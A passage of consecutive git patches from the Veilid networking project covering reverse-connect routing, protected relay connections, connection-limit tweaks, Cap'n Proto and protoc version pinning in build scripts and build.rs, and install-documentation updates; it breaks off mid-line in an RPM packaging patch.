13 Sep 2023 17:00:39 -0400 Subject: [PATCH 21/86] reverse connect for wasm nodes --- .../src/routing_table/routing_domains.rs | 23 +++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) diff --git a/veilid-core/src/routing_table/routing_domains.rs b/veilid-core/src/routing_table/routing_domains.rs index 55bcef67..ba120369 100644 --- a/veilid-core/src/routing_table/routing_domains.rs +++ b/veilid-core/src/routing_table/routing_domains.rs @@ -470,7 +470,7 @@ impl RoutingDomainDetail for PublicInternetRoutingDomainDetail { return ContactMethod::Unreachable; }; - // Can we reach the full relay? + // Can we reach the inbound relay? if first_filtered_dial_info_detail_between_nodes( node_a, &node_b_relay, @@ -480,11 +480,30 @@ impl RoutingDomainDetail for PublicInternetRoutingDomainDetail { ) .is_some() { + ///////// Reverse connection + + // Get the best match dial info for an reverse inbound connection from node B to node A + if let Some(reverse_did) = first_filtered_dial_info_detail_between_nodes( + node_b, + node_a, + &dial_info_filter, + sequencing, + dif_sort.clone() + ) { + // Can we receive a direct reverse connection? + if !reverse_did.class.requires_signal() { + return ContactMethod::SignalReverse( + node_b_relay_id, + node_b_id, + ); + } + } + return ContactMethod::InboundRelay(node_b_relay_id); } } - // If node A can't reach the node by other means, it may need to use its own relay + // If node A can't reach the node by other means, it may need to use its outbound relay if peer_a.signed_node_info().node_info().network_class().outbound_wants_relay() { if let Some(node_a_relay_id) = peer_a.signed_node_info().relay_ids().get(best_ck) { // Ensure it's not our relay we're trying to reach From 680c987321958c6e5c4d447dc05ac7a2097e71aa Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Thu, 14 Sep 2023 14:21:54 -0400 Subject: [PATCH 22/86] oops config --- veilid-flutter/lib/default_config.dart | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/veilid-flutter/lib/default_config.dart b/veilid-flutter/lib/default_config.dart index a10787f3..eac855bc 100644 --- a/veilid-flutter/lib/default_config.dart +++ b/veilid-flutter/lib/default_config.dart @@ -173,14 +173,14 @@ Future getDefaultVeilidConfig(String programName) async { ws: VeilidConfigWS( connect: true, listen: !kIsWeb, - maxConnections: 1024, + maxConnections: 32, listenAddress: '', path: 'ws', ), wss: VeilidConfigWSS( connect: true, listen: false, - maxConnections: 1024, + maxConnections: 32, listenAddress: '', path: 'ws', ), From 17ea68fb84f4c2fd035055997098a95a481c0d58 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Thu, 14 Sep 2023 15:51:09 -0400 Subject: [PATCH 23/86] connection fix --- .../src/network_manager/connection_manager.rs | 39 ++++++++++++++++++- .../src/network_manager/connection_table.rs | 14 ++++++- veilid-core/src/network_manager/mod.rs | 7 ++-- .../src/network_manager/network_connection.rs | 11 ++++++ veilid-core/src/network_manager/send_data.rs | 30 ++++++++++++++ veilid-core/src/routing_table/node_ref.rs | 2 +- 6 files changed, 95 insertions(+), 8 deletions(-) diff --git a/veilid-core/src/network_manager/connection_manager.rs b/veilid-core/src/network_manager/connection_manager.rs index 9ea09d34..6f350a9f 100644 --- a/veilid-core/src/network_manager/connection_manager.rs +++ b/veilid-core/src/network_manager/connection_manager.rs @@ -139,6 +139,33 @@ impl ConnectionManager { debug!("finished connection manager shutdown"); } + // Internal routine to see if we should keep this connection + // from being LRU removed. Used on our initiated relay connections. + fn should_protect_connection(&self, conn: &NetworkConnection) -> bool { + let netman = self.network_manager(); + let routing_table = netman.routing_table(); + let remote_address = conn.connection_descriptor().remote_address().address(); + let Some(routing_domain) = routing_table.routing_domain_for_address(remote_address) else { + return false; + }; + let Some(rn) = routing_table.relay_node(routing_domain) else { + return false; + }; + let relay_nr = rn.filtered_clone( + NodeRefFilter::new() + .with_routing_domain(routing_domain) + .with_address_type(conn.connection_descriptor().address_type()) + .with_protocol_type(conn.connection_descriptor().protocol_type()), + ); + let dids = relay_nr.all_filtered_dial_info_details(); + for did in dids { + if did.dial_info.address() == remote_address { + return true; + } + } + false + } + // Internal routine to register new connection atomically. // Registers connection in the connection table for later access // and spawns a message processing loop for the connection @@ -163,8 +190,16 @@ impl ConnectionManager { None => bail!("not creating connection because we are stopping"), }; - let conn = NetworkConnection::from_protocol(self.clone(), stop_token, prot_conn, id); + let mut conn = NetworkConnection::from_protocol(self.clone(), stop_token, prot_conn, id); let handle = conn.get_handle(); + + // See if this should be a protected connection + let protect = self.should_protect_connection(&conn); + if protect { + log_net!(debug "== PROTECTING connection: {} -> {}", id, conn.debug_print(get_aligned_timestamp())); + conn.protect(); + } + // Add to the connection table match self.arc.connection_table.add_connection(conn) { Ok(None) => { @@ -173,7 +208,7 @@ impl ConnectionManager { Ok(Some(conn)) => { // Connection added and a different one LRU'd out // Send it to be terminated - log_net!(debug "== LRU kill connection due to limit: {:?}", conn); + // log_net!(debug "== LRU kill connection due to limit: {:?}", conn); let _ = inner.sender.send(ConnectionManagerEvent::Dead(conn)); } Err(ConnectionTableAddError::AddressFilter(conn, e)) => { diff --git a/veilid-core/src/network_manager/connection_table.rs b/veilid-core/src/network_manager/connection_table.rs index d2d13bcb..233c447e 100644 --- a/veilid-core/src/network_manager/connection_table.rs +++ b/veilid-core/src/network_manager/connection_table.rs @@ -184,10 +184,20 @@ impl ConnectionTable { // then drop the least recently used connection let mut out_conn = None; if inner.conn_by_id[protocol_index].len() > inner.max_connections[protocol_index] { - if let Some((lruk, lru_conn)) = inner.conn_by_id[protocol_index].peek_lru() { + while let Some((lruk, lru_conn)) = inner.conn_by_id[protocol_index].peek_lru() { let lruk = *lruk; - log_net!(debug "connection lru out: {:?}", lru_conn); + + // Don't LRU protected connections + if lru_conn.is_protected() { + // Mark as recently used + log_net!(debug "== No LRU Out for PROTECTED connection: {} -> {}", lruk, lru_conn.debug_print(get_aligned_timestamp())); + inner.conn_by_id[protocol_index].get(&lruk); + continue; + } + + log_net!(debug "== LRU Connection Killed: {} -> {}", lruk, lru_conn.debug_print(get_aligned_timestamp())); out_conn = Some(Self::remove_connection_records(&mut *inner, lruk)); + break; } } diff --git a/veilid-core/src/network_manager/mod.rs b/veilid-core/src/network_manager/mod.rs index dc9756fa..d1b7bc74 100644 --- a/veilid-core/src/network_manager/mod.rs +++ b/veilid-core/src/network_manager/mod.rs @@ -665,7 +665,7 @@ impl NetworkManager { #[instrument(level = "trace", skip(self), err)] pub async fn handle_signal( &self, - connection_descriptor: ConnectionDescriptor, + signal_connection_descriptor: ConnectionDescriptor, signal_info: SignalInfo, ) -> EyreResult> { match signal_info { @@ -689,8 +689,9 @@ impl NetworkManager { }; // Restrict reverse connection to same protocol as inbound signal - let peer_nr = peer_nr - .filtered_clone(NodeRefFilter::from(connection_descriptor.protocol_type())); + let peer_nr = peer_nr.filtered_clone(NodeRefFilter::from( + signal_connection_descriptor.protocol_type(), + )); // Make a reverse connection to the peer and send the receipt to it rpc.rpc_call_return_receipt(Destination::direct(peer_nr), receipt) diff --git a/veilid-core/src/network_manager/network_connection.rs b/veilid-core/src/network_manager/network_connection.rs index 76b4e13d..0b73bc6c 100644 --- a/veilid-core/src/network_manager/network_connection.rs +++ b/veilid-core/src/network_manager/network_connection.rs @@ -94,6 +94,7 @@ pub struct NetworkConnection { stats: Arc>, sender: flume::Sender<(Option, Vec)>, stop_source: Option, + protected: bool, } impl NetworkConnection { @@ -112,6 +113,7 @@ impl NetworkConnection { })), sender, stop_source: None, + protected: false, } } @@ -157,6 +159,7 @@ impl NetworkConnection { stats, sender, stop_source: Some(stop_source), + protected: false, } } @@ -172,6 +175,14 @@ impl NetworkConnection { ConnectionHandle::new(self.connection_id, self.descriptor.clone(), self.sender.clone()) } + pub fn is_protected(&self) -> bool { + self.protected + } + + pub fn protect(&mut self) { + self.protected = true; + } + pub fn close(&mut self) { if let Some(stop_source) = self.stop_source.take() { // drop the stopper diff --git a/veilid-core/src/network_manager/send_data.rs b/veilid-core/src/network_manager/send_data.rs index 0cc57375..beecf26b 100644 --- a/veilid-core/src/network_manager/send_data.rs +++ b/veilid-core/src/network_manager/send_data.rs @@ -18,6 +18,36 @@ impl NetworkManager { let this = self.clone(); Box::pin( async move { + + // First try to send data to the last socket we've seen this peer on + let data = if let Some(connection_descriptor) = destination_node_ref.last_connection() { + match this + .net() + .send_data_to_existing_connection(connection_descriptor, data) + .await? + { + None => { + // Update timestamp for this last connection since we just sent to it + destination_node_ref + .set_last_connection(connection_descriptor, get_aligned_timestamp()); + + return Ok(NetworkResult::value(SendDataKind::Existing( + connection_descriptor, + ))); + } + Some(data) => { + // Couldn't send data to existing connection + // so pass the data back out + data + } + } + } else { + // No last connection + data + }; + + // No existing connection was found or usable, so we proceed to see how to make a new one + // Get the best way to contact this node let contact_method = this.get_node_contact_method(destination_node_ref.clone())?; diff --git a/veilid-core/src/routing_table/node_ref.rs b/veilid-core/src/routing_table/node_ref.rs index 6a72bf20..fd59c82b 100644 --- a/veilid-core/src/routing_table/node_ref.rs +++ b/veilid-core/src/routing_table/node_ref.rs @@ -244,7 +244,7 @@ pub trait NodeRefBase: Sized { }) } - fn all_filtered_dial_info_details(&self) -> Vec { + fn all_filtered_dial_info_details(&self) -> Vec { let routing_domain_set = self.routing_domain_set(); let dial_info_filter = self.dial_info_filter(); From 61a77461647b3e9e5ec073ae739982e304512d6c Mon Sep 17 00:00:00 2001 From: Rivka Segan <15526879-rivkasegan@users.noreply.gitlab.com> Date: Fri, 15 Sep 2023 18:24:25 +0000 Subject: [PATCH 24/86] =?UTF-8?q?Require=20Cap=E2=80=99n=20Proto=201.0.1?= =?UTF-8?q?=20on=20Windows?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This changes the Windows instructions to specify capnproto-c++-win32-1.0.1. Previously, users may have been trying to use Veilid with 0.10.4, especially in the common case of using the winget package manager. Also, the suggested Protocol Buffers version is updated to 24.3, and a note is added about rustup behavior on Windows machines that have never previously been used for development. --- DEVELOPMENT.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/DEVELOPMENT.md b/DEVELOPMENT.md index d84303bc..5b738d24 100644 --- a/DEVELOPMENT.md +++ b/DEVELOPMENT.md @@ -148,11 +148,11 @@ For a simple installation allowing Rust development, follow these steps: Install Git from -Install Rust from +Install Rust from (this may prompt you to run the Visual Studio Installer, and reboot, before proceeding). -Ensure that protoc.exe is in a directory in your path. For example, it can be obtained from +Ensure that protoc.exe is in a directory in your path. For example, it can be obtained from -Ensure that capnp.exe is in a directory in your path. For example, it can be obtained from +Ensure that capnp.exe (for Cap’n Proto 1.0.1) is in a directory in your path. For example, it can be obtained from the distribution. Please note that the Windows Package Manager Community Repository (i.e., winget) as of 2023-09-15 has version 0.10.4, which is not sufficient. Start a Command Prompt window. From 34b4419859997c612d3e51075a302941e38ef550 Mon Sep 17 00:00:00 2001 From: zed tan Date: Fri, 15 Sep 2023 22:38:32 +0200 Subject: [PATCH 25/86] [#253] implement feedback for INSTALL.md - re-add one missing `
` - add `sudo` to `systemctl` commands - removed quoted/admonished section for running veilid-server directly - instead, made 'With systemd' and 'Without systemd' sub-sections, with instructions - removed extraneous instructions to `usermod` to allow login for `veilid` user --- INSTALL.md | 35 ++++++++++++++++------------------- 1 file changed, 16 insertions(+), 19 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index e30ef149..cc574352 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -10,7 +10,7 @@ These network support nodes are heavier than the node a user would establish on Follow the steps here to add the repo to a Debian based system and install Veilid. -**Step 1**: Add the GPG keys to your operating systems keyring. +**Step 1**: Add the GPG keys to your operating systems keyring.
*Explanation*: The `wget` command downloads the public key, and the `sudo gpg` command adds the public key to the keyring. ```shell @@ -74,29 +74,26 @@ sudo dnf install veilid-server veilid-cli ## Start headless node -To start a headless Veilid node, run as root: +### With systemd + +To start a headless Veilid node, run: ```shell -systemctl start veilid-server.service +sudo systemctl start veilid-server.service ``` -To have your Veilid node start at boot: +To have your headless Veilid node start at boot: ```shell -systemctl enable --now veilid-server.service +sudo systemctl enable --now veilid-server.service ``` -> **Not recommended:** -> In cases where you must run `veilid-server` -> without `systemd` (e.g., systems that use OpenRC, or containers), -> you _must_ run the `veilid-server` -> as the `veilid` user. -> Do this manually by running as root: -> -> ```shell -> # Force-allow login by setting shell -> usermod -s /bin/bash veilid -> # Run veilid-server as veilid user -> # Note that by default, veilid user is still passwordless. -> sudo -u veilid veilid-server -> ``` +### Without systemd + +`veilid-server` must be run as the `veilid` user. + +To start your headless Veilid node without systemd, run: + +```shell +sudo -u veilid veilid-server +``` From c01be8f62d8510f622f31e89b7d260a69c97f4dc Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Fri, 15 Sep 2023 11:45:12 -0400 Subject: [PATCH 26/86] capnp and protoc versioning --- .capnp_version | 1 + .earthlyignore | 4 - .protoc_version | 1 + Cargo.lock | 17 +++- Earthfile | 4 +- dev-setup/setup_windows.bat | 4 +- scripts/earthly/install_capnproto.sh | 9 +- scripts/earthly/install_protoc.sh | 21 +++- veilid-core/Cargo.toml | 4 +- veilid-core/build.rs | 98 +++++++++++++++++++ .../src/rpc_processor/coders/dial_info.rs | 18 +++- 11 files changed, 155 insertions(+), 26 deletions(-) create mode 100644 .capnp_version create mode 100644 .protoc_version diff --git a/.capnp_version b/.capnp_version new file mode 100644 index 00000000..7f207341 --- /dev/null +++ b/.capnp_version @@ -0,0 +1 @@ +1.0.1 \ No newline at end of file diff --git a/.earthlyignore b/.earthlyignore index 3523db04..c5e19354 100644 --- a/.earthlyignore +++ b/.earthlyignore @@ -1,8 +1,4 @@ .vscode .git -external/keyring-manager/android_test/.gradle -external/keyring-manager/android_test/app/build -external/keyring-manager/android_test/build -external/keyring-manager/android_test/local.properties target veilid-core/pkg diff --git a/.protoc_version b/.protoc_version new file mode 100644 index 00000000..ed18113a --- /dev/null +++ b/.protoc_version @@ -0,0 +1 @@ +24.3 \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock index 1883fa09..076c129f 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -829,15 +829,18 @@ checksum = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be" [[package]] name = "capnp" -version = "0.17.2" +version = "0.18.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95e65021d89250bbfe7c2791789ced2c4bdc21b0e8bb59c64f3fd6145a5fd678" +checksum = "9eddbd729bd9742aa22d29e871a42ffea7f216a4ddbfdaf09ea88150ef2e7f76" +dependencies = [ + "embedded-io", +] [[package]] name = "capnpc" -version = "0.17.2" +version = "0.18.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fbbc3763fb3e6635188e9cc51ee11a26f8777c553ca377430818dbebaaf6042b" +checksum = "5067f3c8ee94d993d03150153e9a57a6ff330127b1c1ad76475051e1cef79c2d" dependencies = [ "capnp", ] @@ -1635,6 +1638,12 @@ version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" +[[package]] +name = "embedded-io" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "658bbadc628dc286b9ae02f0cb0f5411c056eb7487b72f0083203f115de94060" + [[package]] name = "enum-as-inner" version = "0.5.1" diff --git a/Earthfile b/Earthfile index c5d30cc6..5c1353cd 100644 --- a/Earthfile +++ b/Earthfile @@ -74,14 +74,14 @@ deps-linux: # Code + Linux deps code-linux: FROM +deps-linux - COPY --dir .cargo files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml /veilid + COPY --dir .cargo .capnp_version .protoc_version files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml /veilid RUN cat /veilid/scripts/earthly/cargo-linux/config.toml >> /veilid/.cargo/config.toml WORKDIR /veilid # Code + Linux + Android deps code-android: FROM +deps-android - COPY --dir .cargo files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml /veilid + COPY --dir .cargo .capnp_version .protoc_version files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml /veilid RUN cat /veilid/scripts/earthly/cargo-linux/config.toml >> /veilid/.cargo/config.toml RUN cat /veilid/scripts/earthly/cargo-android/config.toml >> /veilid/.cargo/config.toml WORKDIR /veilid diff --git a/dev-setup/setup_windows.bat b/dev-setup/setup_windows.bat index 6f0f3916..456ab3c7 100644 --- a/dev-setup/setup_windows.bat +++ b/dev-setup/setup_windows.bat @@ -21,8 +21,8 @@ IF NOT DEFINED PROTOC_FOUND ( FOR %%X IN (capnp.exe) DO (SET CAPNP_FOUND=%%~$PATH:X) IF NOT DEFINED CAPNP_FOUND ( - echo capnproto compiler ^(capnp^) is required but it's not installed. Install capnp 0.10.4 or higher. Ensure it is in your path. Aborting. - echo capnp is available here: https://capnproto.org/capnproto-c++-win32-0.10.4.zip + echo capnproto compiler ^(capnp^) is required but it's not installed. Install capnp 1.0.1 or higher. Ensure it is in your path. Aborting. + echo capnp is available here: https://capnproto.org/capnproto-c++-win32-1.0.1.zip goto end ) diff --git a/scripts/earthly/install_capnproto.sh b/scripts/earthly/install_capnproto.sh index 033dced7..8bb78283 100755 --- a/scripts/earthly/install_capnproto.sh +++ b/scripts/earthly/install_capnproto.sh @@ -1,9 +1,12 @@ #!/bin/bash +SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" +CAPNPROTO_VERSION=$(cat "$SCRIPTDIR/../../.capnp_version") + mkdir /tmp/capnproto-install pushd /tmp/capnproto-install -curl -O https://capnproto.org/capnproto-c++-0.10.4.tar.gz -tar zxf capnproto-c++-0.10.4.tar.gz -cd capnproto-c++-0.10.4 +curl -O https://capnproto.org/capnproto-c++-${CAPNPROTO_VERSION}.tar.gz +tar zxf capnproto-c++-${CAPNPROTO_VERSION}.tar.gz +cd capnproto-c++-${CAPNPROTO_VERSION} ./configure --without-openssl make -j$1 check if [ "$EUID" -ne 0 ]; then diff --git a/scripts/earthly/install_protoc.sh b/scripts/earthly/install_protoc.sh index 272008f5..d2ee75ad 100755 --- a/scripts/earthly/install_protoc.sh +++ b/scripts/earthly/install_protoc.sh @@ -1,13 +1,24 @@ #!/bin/bash -VERSION=23.3 +SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" +PROTOC_VERSION=$(cat "$SCRIPTDIR/../../.protoc_version") + +UNAME_M=$(uname -m) +if [[ "$UNAME_M" == "x86_64" ]]; then + PROTOC_ARCH=x86_64 +elif [[ "$UNAME_M" == "aarch64" ]]; then + PROTOC_ARCH=aarch_64 +else + echo Unsupported build architecture + exit 1 +fi mkdir /tmp/protoc-install pushd /tmp/protoc-install -curl -OL https://github.com/protocolbuffers/protobuf/releases/download/v$VERSION/protoc-$VERSION-linux-x86_64.zip -unzip protoc-$VERSION-linux-x86_64.zip +curl -OL https://github.com/protocolbuffers/protobuf/releases/download/v$PROTOC_VERSION/protoc-$PROTOC_VERSION-linux-$PROTOC_ARCH.zip +unzip protoc-$PROTOC_VERSION-linux-$PROTOC_ARCH.zip if [ "$EUID" -ne 0 ]; then if command -v checkinstall &> /dev/null; then - sudo checkinstall --pkgversion=$VERSION -y cp -r bin include /usr/local/ + sudo checkinstall --pkgversion=$PROTOC_VERSION -y cp -r bin include /usr/local/ cp *.deb ~ else sudo cp -r bin include /usr/local/ @@ -16,7 +27,7 @@ if [ "$EUID" -ne 0 ]; then sudo rm -rf /tmp/protoc-install else if command -v checkinstall &> /dev/null; then - checkinstall --pkgversion=$VERSION -y cp -r bin include /usr/local/ + checkinstall --pkgversion=$PROTOC_VERSION -y cp -r bin include /usr/local/ cp *.deb ~ else cp -r bin include /usr/local/ diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index 96f2d9aa..d1ff28cd 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -129,7 +129,7 @@ trust-dns-resolver = { version = "0.22.0", optional = true } enum-as-inner = "=0.5.1" # temporary fix for trust-dns-resolver v0.22.0 # Serialization -capnp = { version = "0.17.2", default_features = false } +capnp = { version = "0.18.1", default_features = false } serde = { version = "1.0.183", features = ["derive"] } serde_json = { version = "1.0.105" } serde-big-array = "0.5.1" @@ -282,7 +282,7 @@ wasm-logger = "0.2.0" ### BUILD OPTIONS [build-dependencies] -capnpc = "0.17.2" +capnpc = "0.18.0" [package.metadata.wasm-pack.profile.release] wasm-opt = ["-O", "--enable-mutable-globals"] diff --git a/veilid-core/build.rs b/veilid-core/build.rs index 8c2b8364..6f4fe446 100644 --- a/veilid-core/build.rs +++ b/veilid-core/build.rs @@ -1,4 +1,102 @@ +use std::path::PathBuf; +use std::process::{Command, Stdio}; + +fn get_workspace_dir() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("..") + .canonicalize() + .expect("want workspace dir") +} +fn get_desired_capnp_version_string() -> String { + std::fs::read_to_string(get_workspace_dir().join(".capnp_version")) + .expect("should find .capnp_version file") + .trim() + .to_owned() +} + +fn get_capnp_version_string() -> String { + let output = Command::new("capnpc") + .arg("--version") + .stdout(Stdio::piped()) + .output() + .expect("capnpc was not in the PATH"); + let s = String::from_utf8(output.stdout) + .expect("'capnpc --version' output was not a valid string") + .trim() + .to_owned(); + + if !s.starts_with("Cap'n Proto version ") { + panic!("invalid capnpc version string: {}", s); + } + s[20..].to_owned() +} + +fn get_desired_protoc_version_string() -> String { + std::fs::read_to_string(get_workspace_dir().join(".protoc_version")) + .expect("should find .protoc_version file") + .trim() + .to_owned() +} + +fn get_protoc_version_string() -> String { + let output = Command::new("protoc") + .arg("--version") + .stdout(Stdio::piped()) + .output() + .expect("protoc was not in the PATH"); + let s = String::from_utf8(output.stdout) + .expect("'protoc --version' output was not a valid string") + .trim() + .to_owned(); + + if !s.starts_with("libprotoc ") { + panic!("invalid protoc version string: {}", s); + } + s[10..].to_owned() +} + fn main() { + let desired_capnp_version_string = get_desired_capnp_version_string(); + let capnp_version_string = get_capnp_version_string(); + let desired_protoc_version_string = get_desired_protoc_version_string(); + let protoc_version_string = get_protoc_version_string(); + + // Check capnp version + let desired_capnp_major_version = + usize::from_str_radix(desired_capnp_version_string.split_once(".").unwrap().0, 10) + .expect("should be valid int"); + + if usize::from_str_radix(capnp_version_string.split_once(".").unwrap().0, 10) + .expect("should be valid int") + != desired_capnp_major_version + { + panic!( + "capnproto version should be major version 1, preferably {} but is {}", + desired_capnp_version_string, capnp_version_string + ); + } else if capnp_version_string != desired_capnp_version_string { + println!( + "capnproto version may be untested: {}", + capnp_version_string + ); + } + + // Check protoc version + let desired_protoc_major_version = + usize::from_str_radix(desired_protoc_version_string.split_once(".").unwrap().0, 10) + .expect("should be valid int"); + if usize::from_str_radix(protoc_version_string.split_once(".").unwrap().0, 10) + .expect("should be valid int") + < desired_protoc_major_version + { + panic!( + "capnproto version should be at least major version {} but is {}", + desired_protoc_major_version, protoc_version_string + ); + } else if protoc_version_string != desired_protoc_version_string { + println!("protoc version may be untested: {}", protoc_version_string); + } + ::capnpc::CompilerCommand::new() .file("proto/veilid.capnp") .run() diff --git a/veilid-core/src/rpc_processor/coders/dial_info.rs b/veilid-core/src/rpc_processor/coders/dial_info.rs index 400075b8..94d3c9ae 100644 --- a/veilid-core/src/rpc_processor/coders/dial_info.rs +++ b/veilid-core/src/rpc_processor/coders/dial_info.rs @@ -32,8 +32,13 @@ pub fn decode_dial_info(reader: &veilid_capnp::dial_info::Reader) -> Result { let wss = wss.map_err(RPCError::protocol)?; @@ -44,8 +49,13 @@ pub fn decode_dial_info(reader: &veilid_capnp::dial_info::Reader) -> Result Date: Fri, 15 Sep 2023 11:58:34 -0400 Subject: [PATCH 27/86] oops --- veilid-core/build.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-core/build.rs b/veilid-core/build.rs index 6f4fe446..5b8f7f8a 100644 --- a/veilid-core/build.rs +++ b/veilid-core/build.rs @@ -90,7 +90,7 @@ fn main() { < desired_protoc_major_version { panic!( - "capnproto version should be at least major version {} but is {}", + "protoc version should be at least major version {} but is {}", desired_protoc_major_version, protoc_version_string ); } else if protoc_version_string != desired_protoc_version_string { From c13135d389de0fbd6644f5e957e7985ab474507a Mon Sep 17 00:00:00 2001 From: John Smith Date: Fri, 15 Sep 2023 14:04:20 -0400 Subject: [PATCH 28/86] newer capnp protoc and earthfile --- Earthfile | 32 ++++++++++++++++++++++------ scripts/earthly/install_capnproto.sh | 6 +++++- scripts/earthly/install_protoc.sh | 6 +++++- 3 files changed, 36 insertions(+), 8 deletions(-) diff --git a/Earthfile b/Earthfile index 5c1353cd..4c047c9e 100644 --- a/Earthfile +++ b/Earthfile @@ -2,7 +2,7 @@ VERSION 0.6 # Start with older Ubuntu to ensure GLIBC symbol versioning support for older linux # Ensure we are using an amd64 platform because some of these targets use cross-platform tooling -FROM ubuntu:16.04 +FROM ubuntu:18.04 # Install build prerequisites deps-base: @@ -12,14 +12,16 @@ deps-base: # Install Cap'n Proto deps-capnp: FROM +deps-base + COPY .capnp_version / COPY scripts/earthly/install_capnproto.sh / - RUN /bin/bash /install_capnproto.sh 1; rm /install_capnproto.sh + RUN /bin/bash /install_capnproto.sh 1; rm /install_capnproto.sh .capnp_version # Install protoc deps-protoc: FROM +deps-capnp + COPY .protoc_version / COPY scripts/earthly/install_protoc.sh / - RUN /bin/bash /install_protoc.sh; rm /install_protoc.sh + RUN /bin/bash /install_protoc.sh; rm /install_protoc.sh .protoc_version # Install Rust deps-rust: @@ -45,9 +47,6 @@ deps-rust: # Install Linux cross-platform tooling deps-cross: FROM +deps-rust - # TODO: gcc-aarch64-linux-gnu is not in the packages for ubuntu 16.04 - # RUN apt-get install -y gcc-aarch64-linux-gnu curl unzip - # RUN apt-get install -y gcc-4.8-arm64-cross RUN curl https://ziglang.org/builds/zig-linux-x86_64-0.11.0-dev.3978+711b4e93e.tar.xz | tar -C /usr/local -xJf - RUN mv /usr/local/zig-linux-x86_64-0.11.0-dev.3978+711b4e93e /usr/local/zig ENV PATH=$PATH:/usr/local/zig @@ -216,6 +215,27 @@ package-linux-arm64-deb: # save artifacts SAVE ARTIFACT --keep-ts /dpkg/out/*.deb AS LOCAL ./target/packages/ +package-linux-arm64-rpm: + FROM --platform arm64 rockylinux:8 + RUN yum install -y createrepo rpm-build rpm-sign yum-utils rpmdevtools + RUN rpmdev-setuptree + ################################# + ### RPMBUILD .RPM FILES + ################################# + RUN mkdir -p /veilid/target + COPY --dir .cargo files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml package /veilid + COPY +build-linux-arm64/aarch64-unknown-linux-gnu /veilid/target/aarch64-unknown-linux-gnu + RUN mkdir -p /rpm-work-dir/veilid-server + # veilid-server + RUN veilid/package/rpm/veilid-server/earthly_make_veilid_server_rpm.sh aarch64 aarch64-unknown-linux-gnu + #SAVE ARTIFACT --keep-ts /root/rpmbuild/RPMS/aarch64/*.rpm AS LOCAL ./target/packages/ + # veilid-cli + RUN veilid/package/rpm/veilid-cli/earthly_make_veilid_cli_rpm.sh aarch64 aarch64-unknown-linux-gnu + # save artifacts + SAVE ARTIFACT --keep-ts /root/rpmbuild/RPMS/aarch64/*.rpm AS LOCAL ./target/packages/ + + + package-linux-amd64: BUILD +package-linux-amd64-deb BUILD +package-linux-amd64-rpm diff --git a/scripts/earthly/install_capnproto.sh b/scripts/earthly/install_capnproto.sh index 8bb78283..61544d6b 100755 --- a/scripts/earthly/install_capnproto.sh +++ b/scripts/earthly/install_capnproto.sh @@ -1,6 +1,10 @@ #!/bin/bash SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" -CAPNPROTO_VERSION=$(cat "$SCRIPTDIR/../../.capnp_version") +if [ -f ".capnp_version" ]; then + CAPNPROTO_VERSION=$(cat ".capnp_version") +else + CAPNPROTO_VERSION=$(cat "$SCRIPTDIR/../../.capnp_version") +fi mkdir /tmp/capnproto-install pushd /tmp/capnproto-install diff --git a/scripts/earthly/install_protoc.sh b/scripts/earthly/install_protoc.sh index d2ee75ad..04cb461e 100755 --- a/scripts/earthly/install_protoc.sh +++ b/scripts/earthly/install_protoc.sh @@ -1,6 +1,10 @@ #!/bin/bash SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" -PROTOC_VERSION=$(cat "$SCRIPTDIR/../../.protoc_version") +if [ -f ".protoc_version" ]; then + PROTOC_VERSION=$(cat ".protoc_version") +else + PROTOC_VERSION=$(cat "$SCRIPTDIR/../../.protoc_version") +fi UNAME_M=$(uname -m) if [[ "$UNAME_M" == "x86_64" ]]; then From 0c5b89a15e76c372f88b9203e7c61f7467c94ce7 Mon Sep 17 00:00:00 2001 From: John Smith Date: Fri, 15 Sep 2023 16:31:28 -0400 Subject: [PATCH 29/86] arch for rpm build --- package/rpm/veilid-server/earthly_make_veilid_server_rpm.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package/rpm/veilid-server/earthly_make_veilid_server_rpm.sh b/package/rpm/veilid-server/earthly_make_veilid_server_rpm.sh index 48f941c3..8bbb55aa 100755 --- a/package/rpm/veilid-server/earthly_make_veilid_server_rpm.sh +++ b/package/rpm/veilid-server/earthly_make_veilid_server_rpm.sh @@ -10,4 +10,4 @@ cp -rf /veilid/package/rpm/veilid-server/veilid-server.spec /root/rpmbuild/SPECS /veilid/package/replace_variable.sh 